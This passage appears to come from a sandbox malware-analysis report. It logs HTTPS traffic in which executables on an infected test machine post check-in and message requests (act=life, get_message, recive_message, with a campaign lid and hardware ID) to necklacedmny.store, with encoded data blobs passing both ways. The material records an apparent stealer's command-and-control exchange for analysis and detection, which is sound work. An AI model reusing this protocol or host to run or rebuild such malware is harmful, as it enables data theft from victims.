2024-10-29 23:20:11 UTC	15331	OUT	Data Raw: b2 59 32 49 8d ba 69 f1 68 75 7e 60 66 75 bb bc 66 bb 4f 35 81 d1 cd cd 67 88 76 56 87 dc c0 01 b3 64 43 41 b1 17 62 e0 47 54 96 4a dc 00 43 0b 44 4c ed 2d 3f 8b 03 3b 44 50 b2 81 57 5b b2 8f 9b ca da d3 67 4c 48 77 03 6c 2b 57 b3 97 f3 f4 b3 b8 2b ae db 2f 2f 43 60 7d f6 6f de d9 bf 88 40 c7 00 c9 10 3a dd c9 3d 0f 47 13 38 8b 8f 67 db 89 27 47 4e cf 51 34 71 b7 97 d6 c2 3b 25 2f 9c 71 be 9f 63 81 17 a9 5c 5a be 19 c0 cf b9 2b 77 5b e6 98 90 d5 97 8b 5a cb ce dc ab 8f 1a 3d 75 46 37 93 43 07 7b 46 d0 85 d6 17 7c 6b 6d 72 c7 b7 e4 1f f4 2c 7c 84 90 e2 35 80 62 8d af fd 08 d9 8f 8d b5 d4 69 60 18 da b5 02 b6 a1 b3 c8 ff 2e 41 8c 77 d9 b9 ec 48 15 69 78 2c a3 09 f7 3f d0 c5 04 4c fc 48 cd 19 27 f8 0e c8 0a 06 97 76 23 01 41 b4 39 68 6b 8c 51 07 fc fa c0 7c Data Ascii: Y2Iihu~`fufO5gvVdCAbGTJCDL-?;DPW[gLHwl+W+//C`}o@:=G8g'GNQ4q;%/qc\Z+w[Z=uF7C{F\|kmr,\|5bi`.AwHix,?LH'v#A9hkQ\|
2024-10-29 23:20:11 UTC	15331	OUT	Data Raw: e0 d3 9e 7f 86 e4 2d 7f 17 26 32 d1 b0 00 86 7f 51 06 dd 35 31 39 ef c6 b2 1d 88 d1 57 d2 82 4c c4 fb 4a a7 cf 37 b8 2a 67 cf 4f a4 9b 38 28 5e 56 7e ae 3f af d6 e1 96 60 5b af 24 1f a1 7b 59 38 89 a7 09 f9 85 36 12 b6 b7 9c 76 99 b4 4c 1c 09 ef c7 07 b9 43 d9 95 ab 6a e5 3f b1 c5 8f 23 c7 ee 9b e9 47 f0 40 6f 86 ba 47 46 54 e9 5f 89 dc cc a0 d2 67 7e 7f 4a bc bf 45 66 a8 06 bd 91 24 d3 7b c5 05 bb 7f 67 da 4a bc 3f 5d 5e 49 4f 11 24 fb 9c fe fd e7 6e 08 08 76 f6 f3 61 c0 23 e5 cc c7 ae c8 ec 44 ea ed 79 4d 76 8d 38 d7 d3 bf ec 49 9d 77 c5 0d 9e 96 c3 ea d1 57 fa 96 c7 4c 21 bb e3 ee f6 d7 b9 ff 7e af 78 1c a5 d1 2d 59 27 08 ef e5 78 33 58 18 dc ad 55 f1 70 fc f9 ad ec 30 e3 48 09 7d d4 6a 6d 2d d2 66 ce ad f9 4e de 5a 0e 22 13 01 46 16 da 31 9a fe 9e 91 Data Ascii: -&2Q519WLJ7*gO8(^V~?`[${Y86vLCj?#G@oGFT_g~JEf${gJ?]^IO$nva#DyMv8IwWL!~x-Y'x3XUp0H}jm-fNZ"F1
2024-10-29 23:20:11 UTC	15331	OUT	Data Raw: c3 ba 21 d6 47 d7 fa 6e 6c d6 68 e6 f1 07 ba 1e 5f 6d b4 8d 1d 65 3c 50 94 6f ab 21 7a 8c 1d c6 45 ab 76 01 ee e4 7c d4 49 3c 5c 74 bb 63 ae 9e 6d e1 9e 9d 88 3b b0 53 1e 61 be c2 bc c6 83 a8 2a 64 e5 cb 9f e3 a4 91 52 08 89 e3 c2 5f c6 e9 fa 27 8e 8b 68 38 c2 b2 73 57 c7 6c 23 08 a3 b5 02 dc 5b c0 e6 ab b1 04 40 70 de 8c 5a a3 2d 08 b0 8b b7 48 f6 f1 c8 df 6b 27 6d b3 d1 31 6b e1 76 66 f5 77 31 94 b4 0d 4c cc f8 90 2e 46 ab 15 91 90 44 6c 65 22 59 c8 d9 9f 7f e3 e4 87 f9 3e 7e 27 1f 8f 8d 32 a3 30 9f 89 33 ce 61 f3 08 c5 65 5b 89 ca 4b 5f 27 35 db 1b 57 15 75 5e ed a0 a2 22 6e 4b 11 fa c2 df 1d c6 7b 02 d8 5f e4 d0 d1 56 e6 94 7e db cf 56 d2 93 5d 32 f7 cd 55 26 cf f5 e4 92 3b 2a 39 1f 8f e9 d2 48 be 5b a2 9b 6f 0e 74 28 ea 29 e1 13 eb d3 14 ec 30 84 fb Data Ascii: !Gnlh_me<Po!zEv\|I<\tcm;SadR_'h8sWl#[@pZ-Hk'm1kvfw1L.FDle"Y>~'203ae[K_'5Wu^"nK{_V~V]2U&;9H[ot()0
2024-10-29 23:20:11 UTC	15331	OUT	Data Raw: 8f 5b b9 08 fd ef b8 45 5e 99 f5 11 8f 7f 7b 6b fd db e6 d2 cf 5d 80 b7 da 04 20 61 01 e6 9d 7b dc 8b 03 16 b3 a9 8c 22 d1 e1 ac 0b 66 2f ea 01 b5 24 89 5a 2d 06 6e ec b4 cb a9 f7 f2 6a e0 19 93 1d ba 18 f0 bc 53 4c 3e a7 7a 9a e3 f6 a4 b9 f8 08 e7 c6 f7 58 29 78 2f eb 40 6a 8c 04 c0 77 e0 18 38 02 be 1b 05 cb 6e 7d d1 fe d2 c2 cb 74 a6 11 d1 e5 ce 16 97 2c 50 b0 6e 6c a7 70 4b 9e e6 31 60 69 91 dd 50 af b2 16 92 dc 82 24 96 a3 54 7b dc 90 5a ca 4a 7d 54 75 96 aa bc d0 fd 45 17 04 a9 92 03 b6 24 c0 87 75 33 41 43 99 a9 57 c5 7c 79 98 c5 cc e3 d1 1b a7 de 60 af 0c 35 a0 75 b7 e8 21 fd 3d 26 f9 e7 4a 34 93 e0 08 29 d0 db 80 07 c4 7c 80 12 af 3e 40 57 a2 29 25 9b 28 de d4 66 ee 8d 32 12 04 ab f6 6e f5 76 48 96 e0 16 85 d8 60 6c 1e be 63 6b d7 ac 19 2b 55 d4 Data Ascii: [E^{k] a{"f/$Z-njSL>zX)x/@jw8n}t,PnlpK1`iP$T{ZJ}TuE$u3ACW\|y`5u!=&J4)\|>@W)%(f2nvH`lck+U
2024-10-29 23:20:13 UTC	1021	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:20:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ee762cck2l7b9p06k7t3ig05eo; expires=Sat, 22 Feb 2025 17:06:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Gte7jz3zS1l5mIvulj0ghjm8GQVQFmjZYmaMIfPaJJNIXnkGb7XVOJCMJK99Lir2OSzD7uIY3VGMIyDmk3ijUtCxdBsVNaaG8xdw4SJjSzmu%2B0F%2FeHiZfF2nkA8xnCM%2BJLBbgNo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e511edc06b59-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1200&sent=213&recv=610&lost=0&retrans=0&sent_bytes=2846&recv_bytes=572634&delivery_rate=2387469&cwnd=237&unsent_bytes=0&cid=d3cab8457e6fb1c4&ts=1740&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49711	188.114.97.3	443	5044	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:20:14 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-29 23:20:14 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=497D6BCDF05AD45C7EB166DF7FB1EC2E
2024-10-29 23:20:14 UTC	1010	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:20:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tjrr2m09duis4ieh58sm9e4cfs; expires=Sat, 22 Feb 2025 17:06:53 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=STtGYFzJtT1Op383yQsYv3e%2B0sfqAWcoPNP1u5PAeu3AQaTlAYeCOht0XfehKMlkEo48jRBfwOXD92LGJt6V8pMo90KM%2FIBi4xOsL5OEhtnn969gAFbvIVkvPfhdkeQWaxKa3uI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e5209fdc4772-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=993&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=989&delivery_rate=2732075&cwnd=239&unsent_bytes=0&cid=0e461cf62eb89c4a&ts=607&x=0"
2024-10-29 23:20:14 UTC	214	IN	Data Raw: 64 30 0d 0a 35 4c 4c 44 4f 51 43 7a 66 65 34 56 42 54 45 42 74 33 72 77 30 41 62 50 55 45 41 4e 6b 49 6a 74 71 72 67 4c 50 47 50 5a 52 62 57 2f 79 65 46 4d 49 6f 6c 66 68 6d 46 78 51 54 76 72 56 61 7a 2f 4e 2f 64 6c 62 6a 2b 68 76 63 4f 62 69 54 67 53 55 75 38 5a 6d 6f 76 55 70 57 55 76 31 78 69 49 4f 32 42 4a 5a 4a 56 57 30 72 5a 79 37 57 70 77 49 62 4c 74 7a 35 43 49 64 68 41 59 2b 7a 43 58 33 70 43 72 54 58 54 44 52 37 49 36 57 52 34 77 6a 30 2f 65 34 6a 66 36 66 6e 45 38 6f 36 62 63 6e 4f 51 6b 55 51 71 33 49 4f 6e 4c 77 4b 4a 58 5a 4e 77 51 77 48 42 39 56 43 4f 62 57 4a 61 6b 4a 50 56 67 62 43 2f 31 71 74 65 61 78 56 59 3d 0d 0a Data Ascii: d05LLDOQCzfe4VBTEBt3rw0AbPUEANkIjtqrgLPGPZRbW/yeFMIolfhmFxQTvrVaz/N/dlbj+hvcObiTgSUu8ZmovUpWUv1xiIO2BJZJVW0rZy7WpwIbLtz5CIdhAY+zCX3pCrTXTDR7I6WR4wj0/e4jf6fnE8o6bcnOQkUQq3IOnLwKJXZNwQwHB9VCObWJakJPVgbC/1qteaxVY=
2024-10-29 23:20:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	59788	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:16 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 23:21:16 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 23:21:17 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oiks7k6ret4t77nr15gsp3agb3; expires=Sat, 22 Feb 2025 17:07:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O60sPcZrww9EOwJ8%2FedNUUSNM5Hl5nhBGSyoDEoVNoJ5T%2Bypf77rdUfJnJHhP%2FLnIEH46VQB1hVoLLiUAnJParq9N7%2Fo7WQNpYRbEg5JCj%2FEeJj3RvB7CiwYHpr6Nsf7ZguTEJI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e6a989c43aa6-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1115&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2558303&cwnd=251&unsent_bytes=0&cid=736c9ef90eba9e52&ts=506&x=0"
2024-10-29 23:21:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 23:21:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	59790	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:17 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-29 23:21:17 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-29 23:21:18 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qq62bu7mjgs0ee7gmcqus54f9a; expires=Sat, 22 Feb 2025 17:07:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gbcCICIa6Twaabw1RAznTIYFM3%2FBu0V9nAgWPreC35bA%2BPtpnBPbEiOb%2BDXHji3JoxcnqzkJ%2FP1CdjReI%2BkW4K1JCbVtmISuOsU50F6WsWxBpKOXugLKUx9TDG0h3GeU8VIE06E%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e6afed778d2d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1358&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2104651&cwnd=252&unsent_bytes=0&cid=7c2ac594f939898c&ts=513&x=0"
2024-10-29 23:21:18 UTC	352	IN	Data Raw: 34 64 66 0d 0a 2b 5a 72 38 50 4e 4c 56 34 6b 57 6a 6c 39 67 35 2f 76 4a 4f 38 66 73 44 6c 46 4b 50 52 4f 63 46 71 31 57 2f 4d 79 41 70 32 64 53 43 75 49 6f 65 36 4f 48 4f 5a 39 44 79 2b 67 4f 4b 67 44 75 55 31 79 48 31 4e 71 31 2b 67 57 54 48 4a 74 6f 66 41 6c 2b 30 39 73 50 38 6e 56 43 68 73 4d 35 6e 78 75 2f 36 41 36 57 4a 62 4a 53 56 49 61 35 77 36 69 36 46 5a 4d 63 33 33 6c 68 50 57 62 57 33 6b 66 61 62 56 4c 65 32 68 69 54 50 2b 72 31 63 6d 35 4d 6b 6e 35 4a 75 2f 44 2b 74 61 4d 56 67 30 58 65 46 45 57 31 4d 72 62 57 30 2b 34 39 58 38 4b 6a 4f 50 6f 48 79 74 68 76 45 30 43 2b 55 6d 57 2f 79 4e 75 51 73 6a 32 33 50 4e 74 74 5a 55 45 43 2f 76 4a 48 34 6d 46 57 39 76 35 49 70 78 66 32 32 57 70 47 54 62 4e 33 5a 5a 75 35 77 74 57 62 57 56 63 6f 6d 7a 45 Data Ascii: 4df+Zr8PNLV4kWjl9g5/vJO8fsDlFKPROcFq1W/MyAp2dSCuIoe6OHOZ9Dy+gOKgDuU1yH1Nq1+gWTHJtofAl+09sP8nVChsM5nxu/6A6WJbJSVIa5w6i6FZMc33lhPWbW3kfabVLe2hiTP+r1cm5Mkn5Ju/D+taMVg0XeFEW1MrbW0+49X8KjOPoHythvE0C+UmW/yNuQsj23PNttZUEC/vJH4mFW9v5Ipxf22WpGTbN3ZZu5wtWbWVcomzE
2024-10-29 23:21:18 UTC	902	IN	Data Raw: 78 75 6f 41 31 79 66 36 78 58 6f 36 62 4a 5a 36 55 59 66 73 36 34 69 57 46 59 4d 4d 39 30 6c 74 47 52 72 61 77 6d 2f 6a 65 45 50 43 77 6d 47 65 5a 74 5a 6c 65 6a 4a 63 67 68 64 74 62 74 69 2b 6a 50 38 56 67 78 58 65 46 45 55 70 4f 75 4c 57 51 39 35 31 57 75 36 57 41 4e 63 66 34 76 30 6d 61 6c 53 4b 5a 6d 6e 50 38 50 75 73 6c 6a 47 7a 41 4d 74 70 56 41 67 58 37 73 59 4f 34 78 68 36 52 75 6f 73 72 79 2b 4b 36 47 34 50 65 4e 64 4f 65 62 62 5a 6f 72 53 4b 45 59 38 67 7a 30 31 39 47 52 37 32 34 6c 76 65 59 56 4c 43 77 69 69 2f 4a 39 4c 64 51 6b 35 41 70 6e 70 31 6e 2b 6a 48 6f 5a 73 73 6e 7a 69 2b 64 43 51 4a 6c 76 4c 57 4a 75 71 74 64 76 72 6d 48 4d 59 48 71 39 45 4c 63 6c 79 44 54 77 53 48 34 4e 65 49 30 68 48 58 4d 4f 63 39 64 52 30 32 32 74 5a 58 34 6d 31 Data Ascii: xuoA1yf6xXo6bJZ6UYfs64iWFYMM90ltGRrawm/jeEPCwmGeZtZlejJcghdtbti+jP8VgxXeFEUpOuLWQ951Wu6WANcf4v0malSKZmnP8PusljGzAMtpVAgX7sYO4xh6Ruosry+K6G4PeNdOebbZorSKEY8gz019GR724lveYVLCwii/J9LdQk5Apnp1n+jHoZssnzi+dCQJlvLWJuqtdvrmHMYHq9ELclyDTwSH4NeI0hHXMOc9dR022tZX4m1
2024-10-29 23:21:18 UTC	1369	IN	Data Raw: 33 66 38 64 0d 0a 75 79 50 79 6f 55 5a 43 65 50 70 36 54 5a 50 67 38 36 43 6d 46 5a 73 67 35 31 31 6f 43 42 66 75 78 67 37 6a 47 48 70 2b 36 6b 44 58 4c 2f 71 73 5a 71 5a 4d 69 6e 5a 35 33 74 69 2b 6a 50 38 56 67 78 58 65 46 45 55 6c 4e 74 37 71 62 2f 6f 78 51 76 36 57 4b 4e 63 58 37 76 6c 65 53 6d 53 47 63 6e 48 50 79 4d 50 38 6e 67 47 44 48 4f 73 39 55 41 67 58 37 73 59 4f 34 78 68 36 4b 67 34 63 33 30 50 4c 34 62 70 2b 65 49 70 53 50 49 65 6c 2b 39 47 61 43 61 34 6c 76 6e 56 4a 4f 52 72 4b 7a 6c 4f 71 55 55 72 47 6c 68 79 37 49 2f 37 74 56 6b 35 73 67 6c 6f 74 71 2b 54 6a 69 4a 34 68 71 77 6a 50 64 45 51 77 4c 76 4b 37 62 6f 4e 35 2f 76 62 69 53 4a 4e 43 33 6a 31 69 53 6e 69 75 46 32 58 36 34 4b 61 30 68 69 53 65 52 64 39 78 64 54 6b 71 30 73 4a 48 77 Data Ascii: 3f8duyPyoUZCePp6TZPg86CmFZsg511oCBfuxg7jGHp+6kDXL/qsZqZMinZ53ti+jP8VgxXeFEUlNt7qb/oxQv6WKNcX7vleSmSGcnHPyMP8ngGDHOs9UAgX7sYO4xh6Kg4c30PL4bp+eIpSPIel+9GaCa4lvnVJORrKzlOqUUrGlhy7I/7tVk5sglotq+TjiJ4hqwjPdEQwLvK7boN5/vbiSJNC3j1iSniuF2X64Ka0hiSeRd9xdTkq0sJHw
2024-10-29 23:21:18 UTC	1369	IN	Data Raw: 4f 45 4a 38 7a 2b 74 46 57 56 6e 43 53 66 6e 6e 50 37 4e 65 55 73 6a 47 4c 46 4f 74 35 44 51 55 72 37 2b 4e 76 2f 68 68 37 6f 39 36 63 55 39 74 62 36 52 4e 4b 4a 62 4a 53 56 49 61 35 77 37 43 36 43 61 63 30 6c 30 30 4e 4d 54 4c 75 77 6b 2f 43 5a 55 72 36 35 6b 69 2f 41 39 62 52 55 6c 4a 6b 6f 6b 70 31 6c 2b 6a 65 74 61 4d 56 67 30 58 65 46 45 57 70 49 6f 61 7a 5a 31 70 56 65 74 36 65 57 50 49 48 71 39 45 4c 63 6c 79 44 54 77 53 48 79 4f 2b 63 76 68 6d 37 4e 4f 74 31 59 54 55 4b 7a 75 35 50 71 6e 31 53 69 73 34 55 6d 7a 76 2b 2b 55 35 43 66 49 4a 65 4c 61 72 5a 2b 72 53 47 64 4a 35 46 33 2f 56 70 55 61 4b 6d 6b 32 2b 66 51 52 2f 43 77 6a 47 65 5a 74 62 4e 58 6e 5a 45 6d 6c 5a 4a 6b 2b 7a 44 6f 4c 49 4a 72 79 54 66 65 56 30 52 47 73 37 36 58 39 4a 31 54 74 Data Ascii: OEJ8z+tFWVnCSfnnP7NeUsjGLFOt5DQUr7+Nv/hh7o96cU9tb6RNKJbJSVIa5w7C6Cac0l00NMTLuwk/CZUr65ki/A9bRUlJkokp1l+jetaMVg0XeFEWpIoazZ1pVet6eWPIHq9ELclyDTwSHyO+cvhm7NOt1YTUKzu5Pqn1Sis4Umzv++U5CfIJeLarZ+rSGdJ5F3/VpUaKmk2+fQR/CwjGeZtbNXnZEmlZJk+zDoLIJryTfeV0RGs76X9J1Tt
2024-10-29 23:21:18 UTC	1369	IN	Data Raw: 48 2b 37 74 64 6b 4a 31 73 33 64 6c 6d 37 6e 43 31 5a 71 4a 39 78 44 48 4b 51 48 64 4d 75 2b 66 62 35 39 42 48 38 4c 43 4d 5a 35 6d 31 74 31 65 57 6e 53 6d 58 6b 57 62 31 4d 65 45 69 69 47 72 4e 50 74 6c 55 55 46 6d 39 75 4a 76 33 6b 46 47 38 70 59 34 69 77 66 6e 36 46 64 79 58 4e 4e 50 42 49 63 63 6e 37 57 61 61 4b 64 42 33 32 6c 30 43 45 2f 75 35 6c 75 71 53 55 62 43 32 67 79 50 4b 38 72 78 64 6e 5a 4d 70 6b 4a 78 6e 39 7a 44 68 4c 49 4a 76 77 7a 6e 51 56 30 5a 4e 76 66 62 56 75 4a 6c 47 38 4f 2f 41 46 63 7a 37 73 31 69 61 6e 54 71 37 71 43 48 70 66 76 52 6d 67 6d 75 4a 62 35 31 56 53 55 4f 33 73 35 50 39 6e 31 61 36 76 34 38 6f 30 2f 53 31 55 70 75 62 49 5a 79 58 5a 50 67 69 36 69 32 4f 62 38 41 35 32 78 45 4d 43 37 79 75 32 36 44 65 61 4c 4f 35 69 7a Data Ascii: H+7tdkJ1s3dlm7nC1ZqJ9xDHKQHdMu+fb59BH8LCMZ5m1t1eWnSmXkWb1MeEiiGrNPtlUUFm9uJv3kFG8pY4iwfn6FdyXNNPBIccn7WaaKdB32l0CE/u5luqSUbC2gyPK8rxdnZMpkJxn9zDhLIJvwznQV0ZNvfbVuJlG8O/AFcz7s1ianTq7qCHpfvRmgmuJb51VSUO3s5P9n1a6v48o0/S1UpubIZyXZPgi6i2Ob8A52xEMC7yu26DeaLO5iz
2024-10-29 23:21:18 UTC	1369	IN	Data Raw: 53 5a 32 66 62 4e 33 5a 5a 75 35 77 74 57 61 30 63 63 34 77 30 68 4e 72 54 4b 43 33 6b 66 75 56 55 76 43 6f 7a 6a 36 42 38 72 59 62 78 4e 41 68 6e 35 52 6c 35 44 7a 74 4a 6f 78 67 77 79 58 53 58 6b 39 49 75 37 4f 4a 2b 59 78 52 75 37 4b 44 49 38 37 36 74 6c 4f 57 30 47 4c 54 6e 6e 6d 32 61 4b 30 4b 68 6e 62 44 64 66 70 4c 56 45 79 33 70 35 44 31 6b 68 36 76 2b 5a 6c 6e 78 76 6e 36 41 39 79 51 4c 5a 36 4c 5a 50 63 36 35 79 75 4e 61 4d 77 79 30 6c 56 47 51 4c 57 6b 6c 66 65 65 57 4c 75 32 68 53 54 4b 2f 37 52 53 6a 74 42 69 30 35 35 35 74 6d 69 74 44 4a 35 6d 78 44 75 66 66 30 6c 64 76 50 53 36 39 70 56 5a 76 4b 48 41 4f 49 2f 73 2b 6c 79 51 30 48 54 54 6b 47 2f 36 4d 2b 6f 75 6a 57 4c 4a 50 4e 31 65 53 45 57 38 70 4a 48 30 6c 45 79 2f 74 49 30 6a 7a 50 2b Data Ascii: SZ2fbN3ZZu5wtWa0cc4w0hNrTKC3kfuVUvCozj6B8rYbxNAhn5Rl5DztJoxgwyXSXk9Iu7OJ+YxRu7KDI876tlOW0GLTnnm2aK0KhnbDdfpLVEy3p5D1kh6v+Zlnxvn6A9yQLZ6LZPc65yuNaMwy0lVGQLWklfeeWLu2hSTK/7RSjtBi0555tmitDJ5mxDuff0ldvPS69pVZvKHAOI/s+lyQ0HTTkG/6M+oujWLJPN1eSEW8pJH0lEy/tI0jzP+
2024-10-29 23:21:18 UTC	1369	IN	Data Raw: 79 44 54 77 53 48 32 4e 4f 45 6c 67 6d 6e 47 4f 74 4a 57 53 55 53 78 75 49 6e 33 6d 31 61 38 76 34 30 31 79 2f 2b 6f 55 70 57 64 49 70 75 4c 59 72 5a 2b 72 53 47 64 4a 35 46 33 37 31 74 42 52 36 32 37 6c 4c 69 42 45 4b 6e 33 68 79 75 42 72 66 70 4a 6a 70 41 6e 6b 35 35 76 35 44 48 6c 4b 59 39 6e 7a 7a 7a 58 55 6b 74 50 74 62 2b 64 2b 5a 4e 66 73 62 65 46 4a 38 6a 6e 74 78 76 53 30 43 75 4c 32 54 6d 32 42 2b 45 74 74 47 54 66 64 38 49 66 57 77 75 38 75 74 75 67 33 6c 2b 69 75 6f 67 6a 77 66 69 38 55 4a 32 52 4c 35 4f 5a 59 76 59 31 35 69 6d 44 59 4d 51 39 31 46 68 51 51 37 2b 6b 6d 2f 53 61 48 76 37 33 68 7a 2b 42 72 66 70 72 6e 35 73 67 6b 35 52 30 74 69 2b 6a 50 38 56 67 78 58 65 46 45 55 70 41 73 4c 43 51 2b 35 31 51 75 37 32 50 4b 4d 76 7a 76 46 4f 5a Data Ascii: yDTwSH2NOElgmnGOtJWSUSxuIn3m1a8v401y/+oUpWdIpuLYrZ+rSGdJ5F371tBR627lLiBEKn3hyuBrfpJjpAnk55v5DHlKY9nzzzXUktPtb+d+ZNfsbeFJ8jntxvS0CuL2Tm2B+EttGTfd8IfWwu8utug3l+iuogjwfi8UJ2RL5OZYvY15imDYMQ91FhQQ7+km/SaHv73hz+Brfprn5sgk5R0ti+jP8VgxXeFEUpAsLCQ+51Qu72PKMvzvFOZ
2024-10-29 23:21:18 UTC	1369	IN	Data Raw: 55 6a 39 7a 33 39 49 63 55 70 69 54 47 64 43 52 49 46 2b 37 4b 4b 75 4d 59 4f 34 75 7a 56 64 4a 61 6c 36 45 54 53 69 57 79 46 32 54 6d 6b 66 71 30 30 78 54 2b 4a 63 4e 35 44 55 45 32 34 6f 4a 69 2f 6f 47 43 51 76 49 77 6b 7a 66 53 39 47 39 4c 51 49 39 50 42 57 4c 59 7a 2f 7a 54 4b 64 74 38 36 7a 56 59 4f 51 36 71 37 6c 37 6a 51 48 76 79 7a 69 79 76 45 38 71 6f 55 6a 6f 41 6e 6e 34 38 74 38 69 4b 74 61 4d 56 32 77 6a 6a 50 58 30 55 45 71 71 43 57 36 4a 31 62 74 2f 75 49 4e 73 7a 35 2b 68 58 63 68 53 65 66 6e 32 7a 6a 66 2f 77 77 68 6e 48 4f 65 39 56 41 54 30 66 37 69 64 57 34 68 68 37 6f 39 37 55 6b 7a 2f 75 39 54 59 33 64 44 4a 69 56 59 76 6f 78 36 6d 62 4c 4a 38 39 33 68 51 49 4d 43 37 2b 6e 32 36 44 4f 44 4f 76 69 30 33 43 52 70 36 55 56 68 64 41 36 30 Data Ascii: Uj9z39IcUpiTGdCRIF+7KKuMYO4uzVdJal6ETSiWyF2Tmkfq00xT+JcN5DUE24oJi/oGCQvIwkzfS9G9LQI9PBWLYz/zTKdt86zVYOQ6q7l7jQHvyziyvE8qoUjoAnn48t8iKtaMV2wjjPX0UEqqCW6J1bt/uINsz5+hXchSefn2zjf/wwhnHOe9VAT0f7idW4hh7o97Ukz/u9TY3dDJiVYvox6mbLJ893hQIMC7+n26DODOvi03CRp6UVhdA60
